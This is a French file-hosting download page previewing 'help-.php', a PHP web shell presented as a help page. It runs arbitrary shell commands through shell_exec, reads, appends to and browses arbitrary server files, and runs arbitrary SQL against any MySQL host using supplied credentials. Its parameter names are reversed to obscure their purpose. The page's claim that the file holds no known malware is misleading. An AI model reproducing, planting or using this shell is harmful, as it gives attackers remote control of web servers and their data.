Hébergeur de fichiers indépendant

help .php

À propos

Type de fichier
Fichier PHP de 8 Ko (text/html)
Confidentialité
Fichier public, envoyé le 24 décembre 2021 à 14:44, depuis l'adresse IP 129.0.x.x (CM)
Sécurité
Ne contient aucun Virus ou Malware connus - Dernière vérification: hier
Statistiques
La présente page de téléchargement a été vue 105 fois depuis l'envoi du fichier
Page de téléchargement

Aperçu du fichier


<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Help</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            color: #ffffff;
            background: linear-gradient(rgb(32, 85, 230), rgb(110, 6, 247), rgb(5, 16, 165));
            margin: 50px;
            height: 100vh;
        }

        .tabs {
            display: flex;
            flex-wrap: wrap;
            font-family: sans-serif;
        }

        .tabs__label {
            padding: 10px 16px;
            cursor: pointer;
        }

        .tabs__radio {
            display: none;
        }
        
        .tabs__content {
            order: 1;
            width: 100%;
            border-bottom: 3px solid #dddddd;
            line-height: 1.5;
            display: none;
            font-size: 24px;
        }

        .tabs__radio:checked+.tabs__label {
            font-weight: bold;
            color: #009578;
            border-bottom: 2px solid #009578;
        }

        .tabs__radio:checked+.tabs__label+.tabs__content {
            display: initial;
        }
        input[type="text"] {
            height: 35px;
            width: 200px;
            font-size: 24px;
            border-radius: 10px;
            margin: 15px;
        }

        a {
            text-decoration: none;
            color: #ffffff;
        }
        a:hover {
            text-decoration: underline;
        }

        button {
            padding: 20px 50px;
            font-size: 22px;
            background: #009578;
            border-radius: 10px;
            color: #ffffff;
        }

        button:hover {
            background: #d45;
        }
    </style>
</head>
<body>
<div class="tabs">
    <input type="radio" name="tabs-text" id="tab1" class="tabs__radio" checked>
    <label for="tab1" class="tabs__label">CMD</label>
    
<div class="tabs__content">
<?php 
if(isset($_POST["noitcnuf"]))
{
    if($_POST["noitcnuf"] == "dmc")
    {
        $tatluser = shell_exec($_POST["ednammoc"]);
        echo $tatluser;
    }
    else
    {
        echo "Commande vide";
    }
}
?>
    <form action="help-.php" method="post">
    <input type="hidden" name="noitcnuf" value="dmc">
    <input type="text" class="ednammoc" name="ednammoc" placeholder="cmd">
    <button type="submit">Send</button>
    </form>
</div>

<input type="radio" name="tabs-text" id="tab2" class="tabs__radio">
    <label for="tab2" class="tabs__label">Files</label>
<div class="tabs__content">
<form action="help-.php" method="post">
    <input type="hidden" name="noitcnuf" value="noitagivan">
    <input type="text" class="nimehc" name="nimehc" placeholder="path">
    <input type="text" class="daer" name="daer" placeholder="type read">
    <input type="text" class="etirw" name="etirw" placeholder="type write">
    <div>
    <textarea name="etxet" id=""  style="width: 600px; height: 500px; overflow: visible;">
    <?php 
    if(isset($_POST["noitcnuf"]))
    {
        if($_POST["noitcnuf"] == "noitagivan" && isset($_POST["nimehc"]))
        {
            if(isset($_POST["daer"]) && $_POST["daer"] == "lire")
            {
                $file = $_POST["nimehc"];
                $read = file($file);

                for($i = 0; $i < count($read); $i++)
                {
                    if(strpos($read[$i], "</textarea>") == false)
                    {
                        echo $read[$i];
                    }
                }
            }
            else if(isset($_POST["etirw"]) && $_POST["etirw"] == "ecrire")
            {
                $file = $_POST["nimehc"];
                $fileopen = (fopen("$file", 'a'));
                fwrite($fileopen, $_POST["etxet"]);
                fclose($fileopen);
            }
            else {
                echo "file is not exit , permission required or command invalid";
            }
        }
    }
    ?>
    </textarea>
    </div>
    <button type="submit">Save</button>
</form>
<div class="sreihcif">
<?php 
if(isset($_GET["path"]))
{
    if($dir = opendir($_GET["path"]))
    {
        $count = 0;
        $back = "";
        $path = $_GET["path"];
        for($i = 0; $i < strlen($path); $i++)
        {
            if($path[$i] == '\\')
            {
                $count++;
            }
        }
        for($i = 0; $i < strlen($path); $i++)
        {
            if($path[$i] == '\\')
            {
                $count--;
            }
            if($count > 0)
            {
                $back = $back . $path[$i];
            }
        }
     echo "Chemin : <h1>" . $_GET["path"] . "</h1><br/> \n";
     echo "<a href=\"help-.php?path=" . $back . "\">...</a><br/> \n";
     while($files = readdir($dir))
     {
         echo "<a href=\"help-.php?path=" . $_GET["path"] . "\\" . $files ."\">$files</a><br/> \n";
     }
     closedir($dir);
    }
    else
    {
       echo "Chemin non existant";
    }
}
else
{
    if($dir = opendir("."))
    {
        $count = 0;
        $back = "";
        $path = getcwd();
        $anti = '\\';
        for($i = 0; $i < strlen($path); $i++)
        {
            if($path[$i] == $anti)
            {
                $count++;
            }
        }
        for($i = 0; $i < strlen($path); $i++)
        {
            if($path[$i] == $anti)
            {
                $count--;
            }
            if($count > 0)
            {
                $back = $back . $path[$i];
            }
        }
     echo "Chemin : <h1>" . getcwd() . "</h1><br/> \n";
     echo "<a href=\"help-.php?path=" . $back  . "\">...</a><br/> \n";
     while($files = readdir($dir))
     {
         echo "<a href=\"help-.php?path=" . getcwd() . "\\" . $files ."\">$files</a><br/> \n";
     }
     closedir($dir);
    }
    else
    {
       echo "Chemin non existant";
    }
}
?>
</div> 
</div> 

<input type="radio" name="tabs-text" id="tab3" class="tabs__radio">
<label for="tab3" class="tabs__label">Request</label>
<div class="tabs__content">
    <form action="help-.php" method="post">
    <input type="hidden" name="noitcnuf" value="seteuqer">
    <input type="text" class="ednammoc" name="host" placeholder="host">
    <input type="text" class="ednammoc" name="port" placeholder="port">
    <input type="text" class="ednammoc" name="nomuti" placeholder="username">
    <input type="text" class="ednammoc" name="mdp" placeholder="password">
    <input type="text" class="ednammoc" name="nomdb" placeholder="namebd">
    <input type="text" class="ednammoc" name="ruevresdmc" placeholder="cmd">
    <input type="text" class="ednammoc" name="type" placeholder="type">
    <button type="submit">Send</button>
    </form>
    <?php 
if(isset($_POST["noitcnuf"]))
{
    if($_POST["noitcnuf"] == "seteuqer")
    {
        $host = $_POST["host"];
        $port = $_POST["port"];
        $nomuti = $_POST["nomuti"];
        $mdp = $_POST["mdp"];
        $nomdb = $_POST["nomdb"];
        $bdd = new PDO('mysql:host=' . $host . ';dbname=' . $nomdb, $nomuti, $mdp);
        if($_POST["type"] == "liste")
        {
       echo "<h1>OK C'est cool</h1>";

           foreach($bdd->query($_POST["ruevresdmc"]) as $list)
           {
            print_r($list);    
           }
        }
        else
        {
            $bdd->query($_POST["ruevresdmc"]);
        }
    }
    else
    {
        echo "Commande vide";
    }
}
?>
</div>

</div>    
</div>


</body>
</html>


Partager le fichier


Télécharger help-.php


Télécharger help-.php